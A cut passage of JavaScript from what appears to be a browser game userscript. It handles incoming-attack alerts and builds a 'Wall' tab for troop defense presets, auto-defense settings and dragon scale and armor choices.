				var msg = {
					id: msgid,
					type: 0,
					arrive_at: 0,
					alliance: '',
					x: 0,
					y: 0,
					units: {},
					troups: '',
					general: 0,
					op: 0
				};
				if (!rpt_alm) return;
				if (rpt_alm.report.warnings) {
					var warn = rpt_alm.report.warnings;
					if (warn.attacker_name) msg.alliance = warn.attacker_name;
					if (warn.attacker_title && warn.attacker_title.alliance) {
						if (msg.alliance) msg.alliance = msg.alliance + ' / ' + warn.attacker_title.alliance;
						else msg.alliance = warn.attacker_title.alliance;
					}
					if (warn.outpost_attack) msg.op = warn.march_incoming;
					if (warn.attacker_coords) {
						msg.x = warn.attacker_coords.x;
						msg.y = warn.attacker_coords.y;
					}
					if (warn.march_type && warn.march_type == 'SpyMarch') {
						msg.type = 1;
					}
					if (warn.general_rank) msg.general = warn.general_rank;
					if (warn.attacker_units) {
						var results = [];
						for (var tr in warn.attacker_units) {
							var unit = numf(warn.attacker_units[tr], ' ') + ' ' + translate(tr);
							results.push(unit);
						}
						if (results.length > 0) msg.troups = results.join(', ');
						msg.units = cloneProps(warn.attacker_units);
					}
					if (warn.march_arrival_time) {
						msg.arrive_at = t.getTimeAlarm(warn.march_arrival_time);
						var d = Date.parse(msg.arrive_at) / 1000;
						if (toNum(serverTime()) - d >= Data.options.tower.delete_delay * Data.options.tower.delete_unit)
							return;
					}
				}
				var found = false;
				for (var i = 0; i < Data.options.messages_tower.length && !found; i++) {
					if (Data.options.messages_tower[i].id == msgid) found = true;
				}
				/*logit ('Message : '+ msg.id + ', type '+msg.type+', arrive_at '+msg.arrive_at+', alliance '+msg.alliance+', at '+msg.x+','+msg.y);*/
				if (!found) {
					Data.options.messages_tower.push(msg);
					t._addTab(msg, false);
				}
			},
			getTimeAlarm: function(str) {
				var result = 0;
				if (str.length >= 19) {
					var year = toNum(str.substr(0, 4));
					var month = toNum(str.substr(5, 2));
					if (month == 0) month = toNum(str.substr(6, 1));
					var day = toNum(str.substr(8, 2));
					if (day == 0) day = toNum(str.substr(9, 1));
					var hours = toNum(str.substr(11, 2));
					if (hours == 0) hours = toNum(str.substr(12, 1));
					var minutes = toNum(str.substr(14, 2));
					if (minutes == 0) minutes = toNum(str.substr(15, 1));
					var seconds = toNum(str.substr(17, 2));
					if (seconds == 0) seconds = toNum(str.substr(18, 1));
					result = new Date(Date.UTC(year, month - 1, day, hours, minutes, seconds));
				}
				return result;
			}
		}

		/******************************** Wall features Tab **************************/
		Tabs.Wall = {
			tabOrder: WALL_TAB_ORDER,
			tabLabel: 'Wall',
			tabDisabled: !WALL_TAB_ENABLE,
			container: null,
			contentType: 0,
			/* 0 = preset list, 1 = Preset definition, sool : 2 = Dragon Scales and Armors, 3 = Auto wall */
			totalForces: 0,
			lastSubTab: 'tabWallManagement',
			checkSetDefenseBusy: false,

			init: function(div) {
				var t = Tabs.Wall;

				t.container = div;
				var m = '<div class=' + UID['title'] + '>' + translate('wall-choose-defenders') + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabWallManagement') + '>' + translate('Wall management') + '</a></li>' + '	<li class="tab first"><a id=' + setUID('tabAutoWallManagement') + '>' + translate('Auto Wall') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabWallSetDefense') + '>' + translate('wall-manage-defense') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabDragonManagement') + '>' + translate('Dragons management') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabWall_Content') + ' style="padding-top:0px; height:655px; max-height:655px; overflow-y:auto; width:540px; max-width:540px; overflow-x:auto"></div>';
				t.container.innerHTML = m;
				document.getElementById(UID['tabWallManagement']).addEventListener('click', t.tabWallManagement, false);
				document.getElementById(UID['tabWallSetDefense']).addEventListener('click', t.tabWallSetDefense, false);
				document.getElementById(UID['tabDragonManagement']).addEventListener('click', t.tabDragonManagement, false);
				document.getElementById(UID['tabAutoWallManagement']).addEventListener('click', t.tabAutoWallManagement, false);
				
				window.addEventListener('unload', t.onUnload, false);
				t.contentType = toNum(Data.options.wall.current_tab);
				t.show();
			},
			show: function() {
				var t = Tabs.Wall;
				switch (toNum(t.contentType)) {
					case 0:
						t.tabWallManagement();
						break;
					case 1:
						t.tabWallSetDefense();
						break;
					case 2:
						t.tabDragonManagement();
						break;
					case 3:
						t.tabAutoWallManagement();
						break;
				}
			},
			onUnload: function() {
				var t = Tabs.Wall;
				logit('===============  Tabs.Wall.onUnload');
				Data.options.wall.current_tab = t.contentType;
			},
			hide: function() {},


			/** WALL MANAGEMENT SUB-TAB ***/
			tabWallManagement: function() {
				var t = Tabs.Wall;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabWallManagement']).className = 'selected';
				document.getElementById(UID['tabWallManagement']).style.zIndex = 1;
				t.lastSubTab = 'tabWallManagement';

				t.contentType = 0;

				var m = '<div id=' + setUID('tabWall_Results') + ' style="height:640px">' + '	<div class=' + UID['title'] + '>' + translate('Wall management') + '</div>' + '	<div id=' + setUID('tabWall_ResultList') + ' class=' + UID['status_ticker'] + ' style="height:600px; max-height:600px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabWall_Content']).innerHTML = m;

				var el = [];
				var wallStatus = translate((Seed.cities[CAPITAL.id].defended) ? 'Defend' : 'Hiding').toUpperCase();
				var m = '<table class=' + UID['table'] + ' style="margin-top:3px" width=100%>' + '	<tr valign=top>' + '		<td width=25%><label><input id=' + setUID('tabWall_AllDef') + ' type=button value="' + translate('Troops max') + '" /></label></td>' + '		<td width=25%><label><input id=' + setUID('tabWall_NoDef') + ' type=button value="' + translate('remove-all') + '" /></label></td>' + '		<td width=50% align=right><b>' + translate('wall-defense-strategy') + ':</b>' + '		&nbsp <input id=' + setUID('tabWall_setWallStat') + ' type=button value=' + wallStatus + ' class=' + UID[(Seed.cities[CAPITAL.id].defended ? 'btn_off' : 'btn_on')] + '></input></td>' + '	</tr>' + '</table><br>' + dispUnits(CAPITAL.id) + '<br><table class="' + UID['table_targets'] + '">' + '	<tr class=' + UID['row_headers'] + ' cellpadding=1 >' + '		<td width=15%>' + translate('Preset') + '</td>' + '		<td width=55%>' + translate('Troops') + '</td>' + '	</tr>';
				var row_style;
				for (var i = 0; i < Data.options.wall.presets.length; i++) {
					if (i % 2 == 1) row_style = "White";
					else row_style = "rgb(239,239,224)";
					m += '<tr valign=middle style="border-bottom: 1px solid #898989; background-color:' + row_style + '"><td width=15%>' + Data.options.wall.presets[i].name + '</td>' + '	<td align=left width=55%>' + getTroops(Data.options.wall.presets[i].units, ' ') + ', ' + translate(Data.options.wall.presets[i].scales) + ',' + translate(Data.options.wall.presets[i].armor) + '</td>' + '	<td align=center width=30%>' + '      <input id=' + setUID('tabWall_SetDefense_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Set Def') + '" />&nbsp' + '		<input id=' + setUID('tabWall_Edit_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Edit') + '" />&nbsp' + '		<input id=' + setUID('tabWall_Delete_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_red'] + '" style="width:auto !important;" type=submit value=" X " /></td>' + '</tr>';
					el.push(UID['tabWall_SetDefense_' + i]);
				}
				document.getElementById(UID['tabWall_ResultList']).innerHTML = m + '</table>';
				document.getElementById(UID['tabWall_AllDef']).addEventListener('click', onClickAllDef, false);
				document.getElementById(UID['tabWall_NoDef']).addEventListener('click', onClickNoDef, false);
				document.getElementById(UID['tabWall_setWallStat']).addEventListener('click', switchDefense, false);
				for (var i = 0; i < el.length; i++) {
					var butSetDef = document.getElementById(UID['tabWall_SetDefense_' + i]);
					var butEdit = document.getElementById(UID['tabWall_Edit_' + i]);
					var butDelete = document.getElementById(UID['tabWall_Delete_' + i]);
					butSetDef.addEventListener('click', onClickSetDef, false);
					butEdit.addEventListener('click', onClickEdit, false);
					butDelete.addEventListener('click', onClickDelete, false);
				}

				function dispUnits(cityIdx) {
					var city = Seed.cities[cityIdx];
					var m = '<table class=' + UID['row_style'] + ' style="margin-top:3px" width=100%>' + '	<tr class=' + UID['row_headers'] + ' align=center>' + '		<td width=40%>' + translate('Troops') + '</td>' + '		<td width=15%>' + translate('Total') + '</td>' + '		<td width=15%>' + translate('Defense') + '</td>' + '		<td width=15%>' + translate('In city') + '</td>' + '		<td width=15%>' + translate('In march') + '</td>' + '	</tr>';
					for (var i = 0; i < all_unit_types.length; i++) {
						var numTroops = getTroopNumbers(city, all_unit_types[i]);
						m += '	<tr valign=top>' + '		<td class=right width=40%>' + translate(all_unit_types[i]) + ':</td>' + '		<td align=right width=15%>' + numf(numTroops.total, ' ') + '</td>' + '		<td align=right width=15%>' + ((numTroops.indefense > 0) ? '<b>' + numf(numTroops.indefense, ' ') + '</b>' : numf(numTroops.indefense, ' ')) + '</td>' + '		<td align=right width=15%>' + numf(numTroops.incity, ' ') + '</td>' + '		<td align=right width=15%>' + (numTroops.marches ? '&nbsp;+&nbsp;<b>' + numf(numTroops.marches, ' ') + '</b>' : '') + '</td>' + '	</tr>';
					}
					m += '</table>';
					return m;
				}

				function onClickAllDef() {
					var t = Tabs.Wall;
					var city = Seed.cities[CAPITAL.id];
					var units = {};
					for (var i = 0; i < all_unit_types.length; i++) {
						var numTroops = getTroopNumbers(city, all_unit_types[i]);
						var unit_max = numTroops.incity + numTroops.indefense;
						if (unit_max > 0) units[all_unit_types[i]] = unit_max;
					}
					if (t.checkSetDefenseBusy) return false;
					t.checkSetDefenseBusy = true;
					set_defense_forces(t.container, city.id, units, function() {
						logit(translate('wall-defenders-updated'));
						Tabs.Wall.checkSetDefenseBusy = false;
						t.tabWallManagement();
					});
				}

				function onClickNoDef() {
					var t = Tabs.Wall;
					var city = Seed.cities[CAPITAL.id];
					var units = {};
					if (t.checkSetDefenseBusy) return false;
					t.checkSetDefenseBusy = true;
					set_defense_forces(t.container, city.id, units, function() {
						logit(translate('wall-defenders-updated'));
						Tabs.Wall.checkSetDefenseBusy = false;
						t.tabWallManagement();
					});
				}

				function onClickSetDef(event) {
					var t = Tabs.Wall;
					var city = Seed.cities[CAPITAL.id];
					var n = toNum(event.target.getAttribute('ref'));
					var presetUnits = Data.options.wall.presets[n].units;
					var units = {};
					for (var pu in presetUnits) {
						var numTroops = getTroopNumbers(city, pu);
						var unit_max = numTroops.incity + numTroops.indefense;
						if (unit_max < presetUnits[pu] || presetUnits[pu] == -1) units[pu] = unit_max;
						else units[pu] = presetUnits[pu];
					}
					if (t.checkSetDefenseBusy) return false;
					t.checkSetDefenseBusy = true;
					set_defense_forces(t.container, city.id, units, function() {
						logit(translate('wall-defenders-updated'));
						Tabs.Wall.checkSetDefenseBusy = false;
						new MyAjax.setCustomization('GreatDragon', Data.options.wall.presets[n].armor, Data.options.wall.presets[n].scales, function(rslt) {});
						t.tabWallManagement();
					});
				}

				function onClickEdit(event) {
					var t = Tabs.Wall;
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.wall.preset.name = Data.options.wall.presets[n].name;
					Data.options.wall.preset.units = cloneProps(Data.options.wall.presets[n].units);
					Data.options.wall.preset.scales = Data.options.wall.presets[n].scales;
					Data.options.wall.preset.armor = Data.options.wall.presets[n].armor;
					t.tabWallSetDefense();
				}

				function onClickDelete(event) {
					var t = Tabs.Wall;
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.wall.presets.splice(n, 1);
					t.tabWallManagement();
				}

				function switchDefense(event) {
					var t = Tabs.Wall;
					var button = event.target;
					var cityId = Seed.cities[CAPITAL.id].id;
					var wallStatus = Seed.cities[CAPITAL.id].defended;
					var numTroops = 0;
					for (var i = 0; i < all_unit_types.length; i++) {
						numTroops += getTroopNumbers(Seed.cities[CAPITAL.id], all_unit_types[i]).indefense;
					}
					if (numTroops == 0) return;
					var targMsg = translate('Switching defense');
					verboseLog(targMsg + ' ' + translate('attempted'));
					var dial = new ModalDialog(t.container, 300, 165, '', false, null);
					dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
					dial.getContentDiv().innerHTML = translate('Switch defense wall status');
					new MyAjax.switchDefense(cityId, wallStatus, function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('Successfully'));
							actionLog(targMsg);
							button.className = UID[(Seed.cities[CAPITAL.id].defended ? 'btn_off' : 'btn_on')];
							button.value = translate(Seed.cities[CAPITAL.id].defended ? 'Defend' : 'Hiding').toUpperCase();
							dial.destroy();
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
							if (rslt.errmsg)
								dial.getContentDiv().innerHTML = translate('Error while setting defense wall status') + ' : ' + rslt.errmsg;
							else dial.getContentDiv().innerHTML = translate('Error while setting defense wall status');
							dial.allowClose(true);
						}
					});
					var state = Seed.cities[CAPITAL.id].defended;
					button.className = UID[(state ? 'btn_off' : 'btn_on')];
					button.value = translate(state ? 'Defend' : 'Hiding').toUpperCase();
				}
			},

			/** AUTO WALL SUB-TAB ***/
			tabAutoWallManagement: function() {
				var t = Tabs.Wall;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAutoWallManagement']).className = 'selected';
				document.getElementById(UID['tabAutoWallManagement']).style.zIndex = 1;
				t.lastSubTab = 'tabAutoWallManagement';
				t.contentType = 3;

				var m = '<div id=' + setUID('tabAutoWall_Results') + ' style="height:570px">' 
						+ '	<div class=' + UID['title'] + '>' + translate('Config') + '</div>' 
						+ '	<table class=' + UID['table'] + ' width=100%>' 
						+ '	<tr>'
						+ '		<td width=33% class=right><input type=checkbox id=' + setUID('tabAutoWallEnable') + (Data.options.wall.auto.enable ? ' checked' : '') + ' />' + '</td>' 
						+ '		<td align=left colspan=2>' + translate('Enabled') + '</td>'
						+ '	</tr>'
						+ '	<tr>'
						+ '		<td width=33% class=right><input type=checkbox id=' + setUID('tabAutoWallHideTroopEndAlert') + (Data.options.wall.auto.hide_troop_after_last ? ' checked' : '') + ' />' + '</td>' 
						+ '		<td align=left colspan=2>' + translate('Hide troops at end of alert') + '</td>'
						+ '	</tr>'
						+ ' </table>'
						+ ' <div class=' + UID['subtitle'] + '>' + translate('spies') + '</div>'	
						+ '	<table class=' + UID['table'] + ' width=100%>' 
						+ '	<tr>'
						+ '		<td width=33% class=right><input type=checkbox id=' + setUID('tabAutoWallSpyUseTruce') + (Data.options.wall.auto.spy.use_truce ? ' checked' : '') + ' />' + '</td>' 
						+ '		<td align=left colspan=2>' + translate('Use') + '&nbsp;' + translate('momentarytruce') + '</td>'
						+ '	</tr>'
						+ '	<tr>'
						+ '		<td width=33% class=right>&lt; 100</td>' 
						+ '		<td width=33% align=left>' + getPresetList('spy', 0, Data.options.wall.auto.spy.preset[0]) + '</td>'
						+ '		<td width=34% align=left>' + displayTroops(Data.options.wall.auto.spy.preset[0], 0, 'spy') + '</td>'
						+ '	</tr>'
						+ '	<tr>'
						+ '		<td width=33% class=right>100 &lt; 1 000</td>' 
						+ '		<td width=33% align=left>' + getPresetList('spy', 1, Data.options.wall.auto.spy.preset[1]) + '</td>'
						+ '		<td width=34% align=left>' + displayTroops(Data.options.wall.auto.spy.preset[1], 1, 'spy') + '</td>'
						+ '	</tr>'
						+ '	<tr>'
						+ '		<td width=33% class=right>1000 &lt; 5 000</td>' 
						+ '		<td width=33% align=left>' + getPresetList('spy', 2, Data.options.wall.auto.spy.preset[2]) + '</td>'
						+ '		<td width=34% align=left>' + displayTroops(Data.options.wall.auto.spy.preset[2], 2, 'spy') + '</td>'
						+ '	</tr>'
						+ '	<tr>'
						+ '		<td width=33% class=right>5 000 &lt; 10 000</td>' 
						+ '		<td width=33% align=left>' + getPresetList('spy', 3, Data.options.wall.auto.spy.preset[3]) + '</td>'
						+ '		<td width=34% align=left>' + displayTroops(Data.options.wall.auto.spy.preset[3], 3, 'spy') + '</td>'
						+ '	</tr>'
						+ '	<tr>'
						+ '		<td width=33% class=right>&gt; 10 000</td>' 
						+ '		<td width=33% align=left>' + getPresetList('spy', 4, Data.options.wall.auto.spy.preset[4]) + '</td>'
						+ '		<td width=34% align=left>' + displayTroops(Data.options.wall.auto.spy.preset[4], 4, 'spy') + '</td>'
						+ '	</tr>'
						+ '	</table>'
						+ '<div class=' + UID['subtitle'] + '>' + translate('Attack') + '</div>'
						+ '	<table class=' + UID['table'] + ' width=100%>' 
						+ '	<tr>'
						+ '		<td width=33% class=right><input type=checkbox id=' + setUID('tabAutoWallAttackUseTruce') + (Data.options.wall.auto.attack.use_truce ? ' checked' : '') + ' />' + '</td>' 
						+ '		<td align=left colspan=2>' + translate('Use') + '&nbsp;' + translate('momentarytruce') + '</td>'
						+ '	</tr>'
						+ '	<tr>'
						+ '		<td width=33% class=right><input type=checkbox id=' + setUID('tabAutoWallAttackHideMulti') + (Data.options.wall.auto.attack.hide_troop_on_multi_attack ? ' checked' : '') + ' />' + '</td>' 
						+ '		<td align=left colspan=2>' + translate('Hide troops on multi-attack') + '</td>'
						+ '	</tr>'
						+ '	<tr>'
						+ '		<td width=33% class=right>' + translate('Use') + '</td>' 
						+ '		<td width=33% align=left>' + getPresetList('attack', 0, Data.options.wall.auto.attack.preset_default) + '</td>'
						+ '		<td width=34% align=left>' + displayTroops(Data.options.wall.auto.attack.preset_default, 0, 'attack') + '</td>'
						+ '	</tr>'
						+ ' </table>'
						+ '</div>';

				document.getElementById(UID['tabWall_Content']).innerHTML = m;
				
				document.getElementById(UID['tabAutoWallEnable']).addEventListener('click', function(event) {
					Data.options.wall.auto.enable = event.target.checked;
				}, false);
				document.getElementById(UID['tabAutoWallHideTroopEndAlert']).addEventListener('click', function(event) {
					Data.options.wall.auto.hide_troop_after_last = event.target.checked;
				}, false);
				document.getElementById(UID['tabAutoWallAttackUseTruce']).addEventListener('click', function(event) {
					Data.options.wall.auto.attack.use_truce = event.target.checked;
				}, false);
				document.getElementById(UID['tabAutoWallSpyUseTruce']).addEventListener('click', function(event) {
					Data.options.wall.auto.spy.use_truce = event.target.checked;
				}, false);
				document.getElementById(UID['tabAutoWallAttackHideMulti']).addEventListener('click', function(event) {
					Data.options.wall.auto.attack.hide_troop_on_multi_attack = event.target.checked;
				}, false);
				document.getElementById(UID['tabAutoWall_SelBoxPreset_attack_0']).addEventListener('change', function(event) {
					Data.options.wall.auto.attack.preset_default = document.getElementById(UID['tabAutoWall_SelBoxPreset_attack_0']).options[document.getElementById(UID['tabAutoWall_SelBoxPreset_attack_0']).selectedIndex].value;
					document.getElementById(UID['tabAutoWall_SelBoxPreset_Troop_attack_0']).innerHTML = getTroops(Data.options.wall.presets[Data.options.wall.auto.attack.preset_default].units, ' ');
				}, false);
				document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_0']).addEventListener('change', function(event) {
					Data.options.wall.auto.spy.preset[0] = document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_0']).options[document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_0']).selectedIndex].value;
					document.getElementById(UID['tabAutoWall_SelBoxPreset_Troop_spy_0']).innerHTML = getTroops(Data.options.wall.presets[Data.options.wall.auto.spy.preset[0]].units, ' ');
				}, false);
				document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_1']).addEventListener('change', function(event) {
					Data.options.wall.auto.spy.preset[1] = document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_1']).options[document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_1']).selectedIndex].value;
					document.getElementById(UID['tabAutoWall_SelBoxPreset_Troop_spy_1']).innerHTML = (getTroops(Data.options.wall.presets[Data.options.wall.auto.spy.preset[1]].units, ' '));
				}, false);
				document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_2']).addEventListener('change', function(event) {
					Data.options.wall.auto.spy.preset[2] = document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_2']).options[document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_2']).selectedIndex].value;
					document.getElementById(UID['tabAutoWall_SelBoxPreset_Troop_spy_2']).innerHTML = (getTroops(Data.options.wall.presets[Data.options.wall.auto.spy.preset[2]].units, ' '));
				}, false);
				document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_3']).addEventListener('change', function(event) {
					Data.options.wall.auto.spy.preset[3] = document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_3']).options[document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_3']).selectedIndex].value;
					document.getElementById(UID['tabAutoWall_SelBoxPreset_Troop_spy_3']).innerHTML = (getTroops(Data.options.wall.presets[Data.options.wall.auto.spy.preset[3]].units, ' '));
				}, false);
				document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_4']).addEventListener('change', function(event) {
					Data.options.wall.auto.spy.preset[4] = document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_4']).options[document.getElementById(UID['tabAutoWall_SelBoxPreset_spy_4']).selectedIndex].value;
					document.getElementById(UID['tabAutoWall_SelBoxPreset_Troop_spy_4']).innerHTML = (getTroops(Data.options.wall.presets[Data.options.wall.auto.spy.preset[4]].units, ' '));
				}, false);
				
				function getPresetList(type, nb, def) {
					var t = Tabs.Wall;
					var m = '<select id=' + setUID('tabAutoWall_SelBoxPreset_'+type+'_'+nb) + '>';
					if (Data.options.wall.presets && Data.options.wall.presets.length > 0) {
						for (var i = 0; i < Data.options.wall.presets.length; i++) {
							m += '<option value="' + i + '" ' + (def == i ? 'selected' : '') + '>' + Data.options.wall.presets[i].name + '</option>';
						}
					}
					m += '<option value="-" ' + (Data.options.tower.preset == "-" ? 'selected' : '') + '>' + translate('None') + '</option>';
					m += '</select>';
					return m;
				}
				
				function displayTroops(id, nb, type) {
					var dispTrp = '<span id='+ setUID('tabAutoWall_SelBoxPreset_Troop_'+type+'_'+nb) + '>';
					if(Data.options.wall.presets[id]) {
						dispTrp += getTroops(Data.options.wall.presets[id].units, ' ');
					}
					dispTrp += '</span>';
					return dispTrp
				}
			},

			/** WALL DEFENSE PRESET EDIT SUB-TAB ***/
			tabWallSetDefense: function() {
				var t = Tabs.Wall;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabWallSetDefense']).className = 'selected';
				document.getElementById(UID['tabWallSetDefense']).style.zIndex = 1;
				t.lastSubTab = 'tabWallSetDefense';
				t.contentType = 1;

				var m = '<div id=' + setUID('tabWall_Results') + ' style="height:570px">' + '	<div class=' + UID['title'] + '>' + translate('wall-manage-defense') + '</div>' + '	<div id=' + setUID('tabWall_Status') + ' class=' + UID['status_ticker'] + ' style="margin-bottom:5px !important">' + '	<label><b>' + translate('Preset name') + ' :</b></label>' + '	&nbsp &nbsp<input id=' + setUID('tabWall_Name') + ' size=30 maxlength=50 type=text value="' + Data.options.wall.preset.name + '" /><br><br>' + '	<table id=' + setUID('tabWall_Troops') + ' class=' + UID['table'] + '>' + '		<tr align=left class=' + UID['row_headers_left'] + '>' + '			<td colspan=3 width=50%>' + translate('Troops for defense') + ':&nbsp;</td>' + '			<td width=10%>' + translate('Total') + '</td>' + '			<td width=10%>' + translate('Defense') + '</td>' + '			<td width=10%>' + translate('In city') + '</td>' + '			<td width=10%>' + translate('In march') + '</td>' + '		</tr>';

				var UIDTrp = setUID('tabWall_Trp');
				var UIDMax = setUID('tabWall_MaxT');
				var city = Seed.cities[CAPITAL.id];
				for (i = 0; i < all_unit_types.length; i++) {
					var num = toNum(Data.options.wall.preset.units[all_unit_types[i]]);
					var numTroops = getTroopNumbers(city, all_unit_types[i]);
					m += '<tr><td class=right width=25%>' + translate(Names.troops.byName[all_unit_types[i]][1]) + ':</td>' + '	<td width=15%><input type=text id=' + UIDTrp + '_' + i + ' maxlength=9 style="width:55px" size=2 value="' + num + '"\></td>' + '	<td width=10%><input class=small id=' + UIDMax + '_' + i + ' ref=' + i + ' type=button  style="width:auto !important;" value=" Max " \></td>' + '	<td align=right width=15%>' + numf(numTroops.total, ' ') + '</td>' + '	<td align=right width=15%>' + numf(numTroops.indefense, ' ') + '</td>' + '	<td align=right width=15%>' + numf(numTroops.incity, ' ') + '</td>' + '	<td align=right width=15%>' + (numTroops.marches ? '&nbsp;+&nbsp;<b>' + numf(numTroops.marches, ' ') + '</b>' : '') + '</td>' + '</tr>';
				}

				m += '<tr><td colspan=4 class=jewel>' + translate('Enter -1 as troop quantity to use the maximum available') + '</td></tr>' + '</table><br>';

				m += '<table class=' + UID['table'] + ' style="margin-top:3px" width=60%>' + '	<tr valign=top align=center>' + '		<td width=25%><label><input id=' + setUID('tabWall_setAll') + ' type=button class="' + UID['btn_green'] + '" value="' + translate('Troops max') + '" /></label></td>' + '		<td width=25%><label><input id=' + setUID('tabWall_clearAll') + ' type=button class="' + UID['btn_green'] + '" value="' + translate('Clear all') + '" /></label></td>' + '	</tr>' + '</table><br>';

				m += '<table class=' + UID['table'] + '>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td>' + translate('Dragons') + '</td>' + '			<td>' + translate('Scales') + '</td>' + '			<td>' + translate('Armor') + '</td>' + '		</tr>';

				for (var gd = 0; gd < Seed.dragonList.length; gd++) {
					var dragon = Seed.dragons[Seed.dragonList[gd].type];
					if (dragon.name == 'GreatDragon') {
						m += '<tr><td class=right>' + translate(dragon.name) + ':</td>' + '<td> ' + getScales(dragon, 'nomEcaille') + '</td>' + '<td> ' + getArmors(dragon, Seed.dragonList[gd].type, 'nomArmure') + '</td></tr>'
					}

				}

				m += '</table><br>' + '<table class=' + UID['table'] + ' style="margin-top:3px" width=60%>' + '	<tr valign=top align=center>' + '		<td width=25%><label><input id=' + setUID('tabWall_savePreset') + ' type=button value="' + translate('Save preset') + '" /></label></td>' + '		<td width=25%><label><input id=' + setUID('tabWall_setDefense') + ' type=button value="' + translate('wall-update-defenders') + '" /></label></td>' + '	</tr>' + '</table><br>' + '<br>' + '<br><div id=' + setUID('tabDragonManagement_Feedback') + ' class=' + UID['status_feedback'] + '></div></div></div>'; + '<br></div></div>';

				document.getElementById(UID['tabWall_Content']).innerHTML = m;
				document.getElementById(UID['tabWall_Name']).addEventListener('change', function() {
					Data.options.wall.preset.name = document.getElementById(UID['tabWall_Name']).value
				}, false);
				document.getElementById(UID['tabWall_setAll']).addEventListener('click', onClickSetAll, false);
				document.getElementById(UID['tabWall_clearAll']).addEventListener('click', onClickClearAll, false);
				document.getElementById(UID['tabWall_savePreset']).addEventListener('click', onClickSavePreset, false);
				document.getElementById(UID['tabWall_setDefense']).addEventListener('click', onClickSetDefense, false);

				for (var gd = 0; gd < Seed.dragonList.length; gd++) {
					if (Seed.dragons[Seed.dragonList[gd].type].name == 'GreatDragon') {
						if (document.getElementById(UID['preset_scales_' + Seed.dragons[Seed.dragonList[gd].type].id])) {
							document.getElementById(UID['preset_scales_' + Seed.dragons[Seed.dragonList[gd].type].id]).addEventListener('change', eventScales, false);
							if(document.getElementById(UID['preset_scales_' + Seed.dragons[Seed.dragonList[gd].type].id]).value == Data.options.wall.preset.scales) {
								document.getElementById(UID['preset_scales_' + Seed.dragons[Seed.dragonList[gd].type].id]).value = Data.options.wall.preset.scales;
							}
						}
						if (document.getElementById(UID['preset_armor_' + Seed.dragons[Seed.dragonList[gd].type].id])) {
							document.getElementById(UID['preset_armor_' + Seed.dragons[Seed.dragonList[gd].type].id]).addEventListener('change', eventArmor, false);
							if(document.getElementById(UID['preset_armor_' + Seed.dragons[Seed.dragonList[gd].type].id]).value == Data.options.wall.preset.armor) {
								document.getElementById(UID['preset_armor_' + Seed.dragons[Seed.dragonList[gd].type].id]).value = Data.options.wall.preset.armor;
							}
						}
					}
				}

				for (i = 0; i < all_unit_types.length; i++) {
					document.getElementById(UIDTrp + '_' + i).addEventListener('change', eventTroops, false);
					butMax = document.getElementById(UIDMax + '_' + i);
					butMax.addEventListener('click', setTroupsMax, false);
					setButtonStyle(butMax, true, 'btn_green');
				}

				function eventScales() {
					var greatDragon;
					for (var gd = 0; gd < Seed.dragonList.length; gd++) {
						Seed.dragons[Seed.dragonList[gd].type];
						if (Seed.dragons[Seed.dragonList[gd].type].name == 'GreatDragon') {
							greatDragon = Seed.dragons[Seed.dragonList[gd].type];
						}
					}
					if (document.getElementById(UID['preset_scales_' + greatDragon.id]))
						Data.options.wall.preset.scales = document.getElementById(UID['preset_scales_' + greatDragon.id]).value;
					else
						Data.options.wall.preset.scales = '';
				}

				function eventArmor() {
					var greatDragon;
					for (var gd = 0; gd < Seed.dragonList.length; gd++) {
						Seed.dragons[Seed.dragonList[gd].type];
						if (Seed.dragons[Seed.dragonList[gd].type].name == 'GreatDragon') {
							greatDragon = Seed.dragons[Seed.dragonList[gd].type];
						}
					}
					if (document.getElementById(UID['preset_armor_' + greatDragon.id]))
						Data.options.wall.preset.armor = document.getElementById(UID['preset_armor_' + greatDragon.id]).value;
					else
						Data.options.wall.preset.armor = '';
				}

				function eventTroops(event) {
					var args = event.target.id.split('_');
					var x = toNum(event.target.value);
					for (i = 0; i < all_unit_types.length; i++)
						document.getElementById(UID['tabWall_Trp'] + '_' + i).style.backgroundColor = '';
					if (isNaN(x) || x < -1)
						event.target.style.backgroundColor = 'red';
					else event.target.style.backgroundColor = '';
					event.target.value = x;
					Data.options.wall.preset.units[all_unit_types[args[1]]] = x;
				}

				function onClickSetAll() {
					var t = Tabs.Wall;
					var city = Seed.cities[CAPITAL.id];
					for (var i = 0; i < all_unit_types.length; i++) {
						var numTroops = getTroopNumbers(city, all_unit_types[i]);
